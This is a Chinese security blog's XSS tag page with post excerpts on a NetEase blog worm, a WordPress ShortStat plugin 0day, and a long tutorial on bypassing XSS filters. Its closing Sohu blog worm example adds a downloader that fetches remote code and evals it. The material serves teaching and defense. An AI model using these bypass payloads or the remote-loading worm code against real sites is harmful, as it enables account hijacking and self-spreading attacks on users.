Posts Tagged ‘XSS’

web安全分享PPT

Posted in 安全相关 on 3月 7th, 2011 by 飘(piao2010) – Be the first to comment

PPT是周末做的,给部门的同学做了一次web安全分享,里面的内容多数来源于Internet,希望大牛们别介意哈,已经隐去了涉及到公司的部分内容。

利用网易博客XSS和CSRF漏洞编写蠕虫

Posted in 安全相关 on 11月 20th, 2010 by 飘(piao2010) – 8 Comments

注:本文只供研究参考之用,如作其他用途,概与本人无关。
飘零的代码 http://piao2010.com

前阵子(9月份)学习XSS Worm时候的一点小收获,我提交漏洞(http://www.wooyun.org/bugs/wooyun-2010-0631)将近两个月了网易还是没有修复,不知道是网易效率低下还是乌云没通知对人。今天抽空理一理,写出来更新一下博客。

漏洞详细已经说得很清楚了,典型的存储型XSS配合CSRF,我不再重复,主要谈一下XSS Worm编写思路吧。 read more »

毕业3个月以来的杂事杂感

Posted in 安全相关, 生活琐碎 on 9月 21st, 2010 by 飘(piao2010) – 12 Comments

发现有3个月没更新博客了,不是因为工作太忙,而是人变懒了,工作以后其实上网的时间比在学校还多。转眼间毕业离校3个月,感觉自己还是比较快的适应了公司的环境(其实也不算快,3月底开始实习的,期间毕业设计等事请假回学校一个星期的样子)。运维这活技术含量一般(是指目前我所做的活,公司里还是有很多系统高手的),但是有时候一个命令下去可能会造成公司N百万的损失,所以还是需要特别小心的。平时也算轻松,相比开发测试的同学可谓悠闲多了,打酱油的时间我喜欢逛逛twitter,Google reader 等等,工作之余悄悄关注一下web安全方面的东西是必须的: )

read more »

继续发掘worldpress插件shortstat XSS漏洞

Posted in 安全相关 on 8月 13th, 2009 by 飘(piao2010) – Be the first to comment

转载请保留版权,http://piao2010.com 谢谢!
昨天吃坏肚子了,今天请假没去上班。无聊之余突然想到上次的shortstat XSS漏洞,虽然只是偶然事件,但有没可能使之变成必然呢?
大致浏览了一下插件的源代码,发现其中还是存在不少问题的,上次我只是过滤了Keyword部分,其实如果说我们可以伪造HTTP请求的话应该还有很多参数可以利用。于是写了一段代码测试: read more »

worldpress插件shortstat XSS (0day)

Posted in 0day, 安全相关 on 7月 28th, 2009 by 飘(piao2010) – 3 Comments

转载请保留版权,http://piao2010.com 谢谢! WP-ShortStat是一个不错的WordPress访问统计插件,可以在WordPress的管理界面中显示简单的访问统计信息。 发现这个漏洞其实很意外,今天早上打开博客shortstat的时候突然弹出窗口,应该是alert/xss/造成的。难道被黑了?查看了一下源文件,发现

<a title="/tags/xss/" rel="nofollow" href="http://www.google.cn/search?hl=zh-CN&amp;q=%3Cimg+src%3D%22%23%22+onerror%3Dalert%28%2Fxss%2F%29%3E&amp;btnG=Google+%E6%90%9C%E7%B4%A2&amp;aq=f&amp;oq="><img src="#" alt="" /></a>

,打开链接发现是有人在Google中搜索<img src=”#” alt=”" />

关键词然后进入我的博客, read more »

[翻译]“Psecudo-Reflective” 跨站蠕虫剖析

Posted in 安全相关 on 6月 9th, 2009 by 飘(piao2010) – Be the first to comment

本文发表于《黑客防线》

作者:Kyran
译者:riusksk ( 泉哥 )

1.前言

XSS(Cross-Site Scripting )攻击主要有两种类型,一种叫永久型(persistent),它存储在服务端,只不过需要用户访问存在漏洞的页面;另一种叫反射型 (reflective),它存在URI中,需要用户点击链接才能触发。永久型XSS漏洞被认为更为危险,但反射型XSS漏洞更为普遍。大部分的 javascript worm都是使用永久型XSS漏洞进行攻击的。在“pseudo-reflective”蠕虫的第一版本诞生前,还没有一使用reflective payload 编写的XSS蠕虫的案例记载。本文将向您展示如何通过使用reflective payload来编写蠕虫以达到永久性传播的目的。 read more »

深入分析跨站(XSS)

Posted in 安全相关, 搬家之前 on 12月 30th, 2007 by 飘(piao2010) – Be the first to comment

    网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路。
还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下:

恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器

这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了,我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了!
1 什么是HTml输入?

这里给出一个HTml代码的示例

<img src=”http://www.loveshell.jpg” width=100 onerror=alert(”载入图片错误!”)>

很多的程序最终都是将用户的输入转换成这种形式的。可以看到<>是告诉浏览器这是一个Html标记,img是这个Html标记的名称,src 是这个标记的第一个属性,=后面是这个属性的值,后面的width是第二个属性,onerror是标记的事件属性。大家可以看到,一个Html标记是包括很多元素的,并不是传统意义上的只有输入<>才会注入Html,事实上只要你的输入处在Html标签内,产生了新的元素或者属性,就实现了跨站脚本攻击!实际上大多数隐秘的跨站脚本攻击是不需要<>的,因为现在的Ubb标签已经让你处在了Html标记之内,很有意思,不是么?

2 哪里才是罪恶的来源?

既然我们的目标是引入代码在目标用户的浏览器内执行,那么我们来看看哪些地方可以引入HTml代码吧!如果用户可以不受限制的引入<>,那么很显然他可以完全操纵一个Html标记,譬如<script>alert(’xss’)</script>这样的形式,这对于追求安全的程序来说是绝对不允许的,所以首先要做转换的就是<>,通过如下代码:

过滤代码:
replace(str,”<”,”&#x3C;”)
replace(str,”>”,”&#x3E;”)
好了,用户可能不能构造自己的HTml标记了,那么利用已经存在的属性如何呢?下面的代码依然可以工作得很好:

<img src=”javascript:alert(/xss/)” width=100>

以上这句经本人测试IE7和FF已经无效,世界之窗还有效。

因为很多的Html标记里属性都支持javascript:[code]的形式,很好,很多的程序意识到了这一点,可能做了如下的转换:

过滤代码
Dim re
Set re=new RegExp
re.IgnoreCase =True
re.Global=True
re.Pattern=”javascript:”
Str = re.replace(Str,”javascript:”)
re.Pattern=”jscript:”
Str = re.replace(Str,”jscript:”)
re.Pattern=”vbscript:”
Str = re.replace(Str,”vbscript:”)
set re=nothing

你看,只要发现以javascript等脚本属性的形式都会被过滤掉,失去了:的脚本代码是起不了作用的!这样完美了么?事实上Html属性的值,注意是值而不是属性本身是支持&#ASCii这种形式表示的,譬如上面的代码可以换成这样:

<img src=”javascrip&#116&#58alert(/xss/)” width=100>

代码又执行了,呵呵!看来你漏掉了点什么哦,加上这个代码吧!

replace(str,”&”,”&#x26;”)

行了,&失去它原来的意义了,用户不能以其他方式表示Html属性值了哦!等等,这样的过滤真可以相信么?只要发现这种过滤的关键字机制,饶过就是简单的问题了:

<img src=”javas cript:alert(/xss/)” width=100>

没有javascript关键字了哦!注意中间那个是tab键弄出来的!关键字被拆分了哦!这是个很麻烦的问题,很多人忘记了这些特殊的字符,呵呵!有人想到要过滤空格了,在过滤之前我们再看看其他的一些东西吧!也许我们现在所处的src属性已经无法利用了,但是我们依然可以产生自己的属性或者事件机制哦!依然是可以执行Html代码的,首先说说事件机制吧:

<img src=”#” onerror=alert(/xss/)>

这样依然可以执行代码的哦!明白问题出在哪了,不是么?有的程序员仿佛明白了,注意我说的是仿佛,动网就是一个典型的例子,事件属性不是要onerror么?很多人开始用正则表达式了,发现关键的词如onerror就会做转换或者提示用户不执行,是不是没有机会了呢?
当然不是的,事件只是让代码运行的一种方法而不是所有的,可以定义事件了那么也就可以实现自己弄出自己的属性了,试试下面的:

<img src=”#” style=”Xss:expression(alert(/xss/));”>

呵呵,还是执行了哦!在做关键字过滤之后有人发现是不是属性之间分隔要用到空格,好,他们把空格堵死了(这样认为的人很多,呵呵)!将空格转成&nbsp;是个很普遍的方法?是么?甚至还可以让别人无法关键字拆分,不要太自信了,试试下面的代码看看如何:

<img src=”#”/**/onerror=alert(/xss/) width=100>

嘿嘿,Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的!那怎么办呢?上面提到的好象一直都是在进行被动的攻击防御,为什么不抓住他的本源出来呢?哪里出了问题哪里堵上!
上面的问题好象本质上就是一个东西,那就是用户超越了他所处的标签,也就是数据和代码的混淆,对付这种混淆的办法就是限制监牢,让用户在一个安全的空间内活动,这通过上面的分析大家也可能已经知道,只要在过滤了<>这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到”"之间,现在的一般的程序都是这样做的,譬如将会转化成<img src=”http://www.loveshell.net“>这是个好的安全习惯,然后呢?就要让用户的输入处在安全的领域里了,这可以通过过滤用户输入里”"实现,但是不要忘记了,这个标签本身也是不安全的,过滤掉空格和tab键就不用担心关键字被拆分饶过了,然后就是用文章中提到的办法过滤掉script关键字,最后就是防止用户通过&#这样的形式饶过检查,转换掉&吧!
在文章中开始提到的图里可以看到,数据的转换和过滤是可以在3个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据的时候也可以转换下,但是困惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,譬如现在邮箱的就不愿意舍弃html标签,所以他们侧重于XSS的IDS检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的,有限制,肯定就有人会饶过,呵呵。本文没什么技术含量,只是希望搞安全的脚本人员能更加的了解Xss,跨站,不是那么简单滴!

 

另有实例一个:

XSS wrom网站如何实现入侵?  

  1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些。  

  ”;:!–”<javascript JAvaSCriPT>=&#{()} \/   

  结果   

  ”;:!–”=&#{()} // (&后是amp,论坛过滤了)   

  过滤了”javascript”,”&”和”\”这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手。  

  2. 测试一个XSS常用属性和两个事件,貌似没有过滤字符。     
expression   
onerror   
onload   

  3. 下面开始尝试构造语句。如下:  

  <img src=”#” style=”Xss:expression(alert(’xss’));”>  会弹两次 
    IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javas cript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。就是说CSS属性后面可以是一段Javas cript表达式,CSS属性的值等于Javas cript表达式计算的结果。 在表达式中可以直接引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。

  <img src=”#” onerror=alert(’xss’)>   

  <img src=”/Article/UploadFiles/200702/20070202101404522.jpg” onload=alert(’xss’)>    这里图片地址必须存在!

  构造完整标记,页面输出后又全部过滤。  

  4. “/”字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:  

  <div style=”xss:ex/**/pre/**/ssion(alert(’xss’))”>   

  5. 由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现”;”字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:  

  <DIV STYLE=”xss:ex/**/pre/**/ssion(eval(xss));” xss=”var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}”>   

  //设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数。  

  6. 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:   

  <div style=”xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))”>   

  7. 感染流程考虑:  

  ㈠ BLOG页面的个人档案处是页面通用的  

  ㈡ XSS内容写到个人档案处,所有浏览者都会触发XSS   

  ㈢ 实现一段提交XSS内容到个人档案的代码.   

  8. 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader。  

  主要代码:  

  function d(){   
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件   
a.Open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求   
a.send();   
b=a.responseText; /*将传回值赋给变量B   
eval(unescape(b.substring(b.indexOf(’–|’)+3,b.indexOf(’|–’))));   
/*用indexOf计算 –|********|– 的位置,用substring方法取出字符串,最后用unescape方法解码.   
}d()   

  http://s0n9.blog.sohu.com/31406970.html 页面代码:   

  alert%28%27xss%27%29%3B   
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如”&”字符会变成”&”(&后是amp,论坛过滤了)   

  其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发 。


无觅相关文章插件,快速提升流量